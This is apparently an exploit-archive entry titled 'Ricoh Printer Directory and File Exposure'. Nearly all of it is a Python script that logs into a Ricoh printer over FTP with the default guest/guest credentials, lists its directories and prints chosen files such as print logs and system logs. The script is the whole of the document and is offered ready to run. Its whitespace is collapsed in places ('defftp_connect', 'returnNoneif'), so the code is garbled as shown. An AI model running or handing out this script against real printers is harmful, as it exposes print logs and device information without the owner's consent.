#Exploit Title: Ricoh Printer Directory and File Exposure #Date: 9/15/2023#Exploit Author: Thomas Heverin (Heverin Hacker)#Vendor Homepage: https://www.ricoh.com/products/printers-and-copiers#Software Link: https://replit.com/@HeverinHacker/Ricoh-Printer-Directory-and-File-Finder#main.py#Version: Ricoh Printers - All Versions#Tested on: Windows#CVE: N/A #Directories Found: Help, Info (Printer Information), Prnlog (Print Log), Stat (Statistics) and Syslog (System Log)from ftplib import FTP
defftp_connect(ip):try:
ftp = FTP(ip)
ftp.login("guest","guest")print(f"Connected to {ip} over FTP as 'guest'")return ftp
except Exception as e:print(f"Failed to connect to {ip} over FTP: {e}")returnNoneif __name__ =="__main__":
target_ip =input("Enter the Ricoh Printer IP address: ")
ftp_connection = ftp_connect(target_ip)if ftp_connection:try:whileTrue:
file_list = ftp_connection.nlst()print("List of Ricoh printer files and directories:")for index, item inenumerate(file_list, start=1):print(f"{index}. {item}")
file_index =int(input("Enter the printer index of the file to read (1-based), or enter 0 to exit: "))-1if file_index <0:breakif0<= file_index <len(file_list):
selected_file = file_list[file_index]
lines =[]
ftp_connection.retrlines("RETR "+ selected_file, lines.append)print(f"Contents of '{selected_file}':")for line in lines:print(line)else:print("Invalid file index.")except Exception as e:print(f"Failed to perform operation: {e}")finally:
ftp_connection.quit()